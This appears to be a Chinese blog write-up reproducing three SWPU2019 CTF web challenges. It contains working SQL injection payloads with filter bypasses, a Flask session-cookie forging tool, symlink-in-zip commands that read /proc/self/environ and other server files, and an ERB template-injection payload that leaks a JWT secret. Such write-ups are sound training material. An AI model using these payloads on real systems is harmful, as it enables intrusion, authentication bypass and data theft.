SWPU2019复现

SWPU2019复现

一直想着复现来着,记事本里也记录了几个月了…🤣

Web1

二次注入、无列名查询,对MariaDB过滤information_schema的注入。

题目分析

进入题目注册并登陆之后,发现可以发布广告,并且在广告名的地方存在二次注入(提交内容的时候注入不执行,查询的时候才执行),经过测试发现or被ban了,同时空格也会被替换为空,因此需要利用/**/绕过对空格的过滤。
既然or被ban掉了,那么便不能再利用order by注入查列数了,此时只能直接利用union select进行列名的遍历了。
在测试的过程中发现了后台数据库是MariaDB

同时or被ban掉,因此information_schema不能用,此时想到利用mysql.innodb_table_stats来查表名(这个地方可以参考:https://mariadb.com/kb/en/mysqlinnodb_table_stats/),但是无法获取列名,因此最终获取flag需要借助`无列名注入`了(参考:https://blog.csdn.net/chasingin/article/details/103476001)。

现在思路就很明确了,首先利用union select测试出列数,然后利用mysql.innodb_table_stats查出表名,最后无列名注入拿到flag。

解题

首先查列数:

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

利用mysql.innodb_table_stats查表名:

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22


将列转换为行,进行无列名注入:

-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

另外补充一点,如果后台数据库是mysql,但是information_schema被ban掉之后,如果mysql没有开启innodb存储引擎则可利用sys数据库``schema_auto_increment_columnsschema_table_statistics_with_buffer来绕过,但是本题后台数据库是MariaDB,上述方法便不可用,不过给一下我做题的时候测试的payload,遇到类似题目可能用得上:

-1'union/**/select/**/1,(select/**/group_concat(table_name)from/**/sys.schema_auto_increment_column/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,(select/**/group_concat(table_name)from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

然后再利用joinjoin...using进行无列名查询即可。
绕过information_schema可以参考:https://www.anquanke.com/post/id/193512

easy_python

考察JWT伪造攻击,软链接任意文件读取

题目分析

进入题目是一个登录框,任意用户名密码登录,发现可以进行文件上传:

直接点按钮反馈没有权限…

看源码发现了404 not found的提示,网上的wp是这么说的:

flask中,可以使用app.errorhandler()装饰器来注册错误处理函数,参数是HTTP 错误状态码或者特定的异常类,由此我们可以联想到在404错误中会有东西存在。

那么我们构造一个任意的文件到url中去访问,看一下回显:

发现响应头中存在
Swpuctf_csrf_token: U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

解码得到:
SECRET_KEY:keyqqqwwweee!@#$%^&*

结合前面的权限要求,猜测是JWT伪造了,但是这个题中的JWT直接去解base64的结果是这样的:
{"id":{" b":"MTAw"},"is_login":true,"password":"123","username":"123"}

期初一直以这种结构去伪造,服务器就老是反馈500 error,后来参考网上一篇wp中讲的解JWT用的是如下的代码:

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

用法如下:

解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

按照这个代码解JWT结果如下:

python3 flask_session_manager.py decode -c "eyJpZCI6eyIgYiI6Ik1UQXcifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiMTIzIiwidXNlcm5hbWUiOiIxMjMifQ.XnSqQQ.0VoijfPiLI6lwy9zvZ-yk5U5Lv8" -s "keyqqqwwweee!@#$%^&*"
{'id': b'100', 'is_login': True, 'password': '123', 'username': '123'}
这里就可以看出不一样了,现在还没搞懂原因...
python3 flask_session_manager.py encode -s "keyqqqwwweee!@#$%^&*" -t "{'id': b'1', 'is_login': True, 'password': '123', 'username': '123'}"
eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiMTIzIiwidXNlcm5hbWUiOiIxMjMifQ.XnSu2A.SeLyR45y3lQcF1dRjwzQw5Y-3TE
这里我们伪造id:b'1'的用户session进行登录

利用伪造的session,成功登录:

查看源码如下:

@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"

以正常逻辑来看,这里的功能就是客户端上传一个压缩后的图片,服务端会解压缩后并读取图片返回客户端。这里我们可以上传一个软链接压缩包,来读取其他敏感文件而不是我们上传的文件。

结合 showflag()函数的源码,我们可以得知 flag.jpg 放在 flask 应用根目录的flag目录下。那么我们只要创建一个到/xxx/flask/flag/flag.jpg的软链接,即可读取 flag.jpg 文件。

两种方式构造:

  • 1、在 linux 中,/proc/self/cwd/会指向进程的当前目录,那么在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。

命令如下:

ln -s /proc/self/cwd/flag/flag.jpg qwe

zip -ry qwe.zip qwe

  • 2、在 linux 中,/proc/self/environ文件里包含了进程的环境变量,可以从中获取 flask 应用的绝对路径,再通过绝对路径制作软链接来读取 flag.jpg (PS:在浏览器中,我们无法直接看到/proc/self/environ的内容,只需要下载到本地,用 notepad++打开即可)

命令如下:

ln -s /proc/self/environ qqq

zip -ry qqq.zip qqq

ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg www

zip -ry [www.zip\]\(http://www.zip\) www

解题

在上一步中,我们已经成功拿到上传的权限了,现在到linux中生成读取flag的软连接,上传之后服务端回显如下:

因为是一个有问题的图片,无法显示,其实就是BUU改了,它本质上还是一个txt,下载下来即可拿到flag。

Flag Shop

考察JWT伪造,ruby的ERB模板注入。后者是第一次接触

题目分析

进入题目发现可以买flag,但是很贵,这个时候又可以进行work拿jkl,这点到啥时候去啊…

不过存在robots.txt,提示了filebake的存在:

访问fileback拿到源码:

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

代码是ruby写的,还没学…不过从代码中可以看到出现了JWT,应该跟JWT伪造有关,稍微审一下代码发现jkl指的应该就是金币数量,同uid一起写进了cookie里,抓个包拿jwt解密看看:

可以看到jkl的值为28,也就是现有的金币数,那应该就是要伪造JWT来买到flag了,但是伪造需要SECRET,现在我们并没有,怎么办?

/work路由下有这么一段代码:

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')

这里我们可以控制,但是只有7个字符,参考题解说是ERB模板注入,这里可以用ruby的预定义字符$对匹配的字符串进行读取,从而获取SECRET,l利用点当然也就在/work路由下了,可以抓包看看:

根据参数构造payload如下:

/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

执行结果如下:

拿到SECRET之后,进行JWT伪造:

然后buy flag抓包进行替换即可买到flag:

由响应结果可以看到,已经成功买到了flag,但是响应中并没有啊,因为在代码中可以看到,flag其实被写入到了相应的JWT中,再去解密即可拿到。

Comments


:D 一言句子获取中...

Loading...Wait a Minute!